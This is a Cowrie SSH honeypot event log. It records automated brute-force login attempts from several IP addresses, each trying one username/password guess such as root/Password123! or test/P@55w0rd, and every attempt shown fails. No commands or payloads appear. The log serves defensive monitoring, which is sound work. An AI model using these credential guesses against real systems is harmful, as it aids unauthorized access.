{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:57.176855Z","src_ip":"185.153.231.45","session":"5dafebb195b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123!","message":"login attempt [root/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:57.719665Z","src_ip":"185.153.231.45","session":"5dafebb195b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:58.407475Z","src_ip":"111.32.153.180","session":"4593e2a61fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:58.848840Z","src_ip":"185.153.231.45","session":"5dafebb195b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":13565,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d85fe322a2","protocol":"ssh","message":"New connection: 220.205.122.34:13565 (10.17.0.5:22) [session: c8d85fe322a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:00.927078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:00.935840Z","src_ip":"220.205.122.34","session":"c8d85fe322a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:01.164971Z","src_ip":"220.205.122.34","session":"c8d85fe322a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jupyter123","message":"login attempt [root/jupyter123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:02.120810Z","src_ip":"220.205.122.34","session":"c8d85fe322a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:03.354802Z","src_ip":"220.205.122.34","session":"c8d85fe322a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdbf84dbcdb7","protocol":"ssh","message":"New connection: 66.113.163.125:53602 (159.203.135.109:22) [session: cdbf84dbcdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:05.026690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:05.031167Z","src_ip":"66.113.163.125","session":"cdbf84dbcdb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:05.067362Z","src_ip":"66.113.163.125","session":"cdbf84dbcdb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:05.246907Z","src_ip":"66.113.163.125","session":"cdbf84dbcdb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:06.291687Z","src_ip":"66.113.163.125","session":"cdbf84dbcdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":38458,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e200d99ba6","protocol":"ssh","message":"New connection: 159.195.79.219:38458 (10.17.0.5:22) [session: f7e200d99ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:20.537351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:20.541987Z","src_ip":"159.195.79.219","session":"f7e200d99ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:20.635937Z","src_ip":"159.195.79.219","session":"f7e200d99ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2091","message":"login attempt [root/2091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:21.037187Z","src_ip":"159.195.79.219","session":"f7e200d99ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:22.130123Z","src_ip":"159.195.79.219","session":"f7e200d99ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":56512,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7ccdc9dae8e","protocol":"ssh","message":"New connection: 92.191.96.70:56512 (10.17.0.5:22) [session: e7ccdc9dae8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:30.839748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:30.844942Z","src_ip":"92.191.96.70","session":"e7ccdc9dae8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:30.970560Z","src_ip":"92.191.96.70","session":"e7ccdc9dae8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:31.490618Z","src_ip":"92.191.96.70","session":"e7ccdc9dae8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:32.615381Z","src_ip":"92.191.96.70","session":"e7ccdc9dae8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":32904,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a1f10df1cb9","protocol":"ssh","message":"New connection: 107.0.200.227:32904 (159.203.135.109:22) [session: 7a1f10df1cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:33.190214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:33.194546Z","src_ip":"107.0.200.227","session":"7a1f10df1cb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:33.228515Z","src_ip":"107.0.200.227","session":"7a1f10df1cb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mr123","message":"login attempt [root/mr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:33.394877Z","src_ip":"107.0.200.227","session":"7a1f10df1cb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:34.431577Z","src_ip":"107.0.200.227","session":"7a1f10df1cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":32918,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1269c7c1925","protocol":"ssh","message":"New connection: 185.153.231.45:32918 (159.203.135.109:22) [session: d1269c7c1925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:40.797240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:40.802753Z","src_ip":"185.153.231.45","session":"d1269c7c1925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:40.933326Z","src_ip":"185.153.231.45","session":"d1269c7c1925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@55w0rd","message":"login attempt [test/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:41.524322Z","src_ip":"185.153.231.45","session":"d1269c7c1925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:25:42.657661Z","src_ip":"185.153.231.45","session":"d1269c7c1925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":37436,"dst_ip":"159.203.135.109","dst_port":22,"session":"b796ee48fab4","protocol":"ssh","message":"New connection: 81.192.46.49:37436 (159.203.135.109:22) [session: b796ee48fab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:03.254447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:03.259640Z","src_ip":"81.192.46.49","session":"b796ee48fab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:03.379286Z","src_ip":"81.192.46.49","session":"b796ee48fab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vertica","message":"login attempt [root/vertica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:03.888256Z","src_ip":"81.192.46.49","session":"b796ee48fab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:05.014227Z","src_ip":"81.192.46.49","session":"b796ee48fab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":51534,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e99aaa3a62e","protocol":"ssh","message":"New connection: 125.16.27.190:51534 (159.203.135.109:22) [session: 5e99aaa3a62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:05.348759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:05.353627Z","src_ip":"125.16.27.190","session":"5e99aaa3a62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:05.613324Z","src_ip":"125.16.27.190","session":"5e99aaa3a62e","protocol":"ssh"}
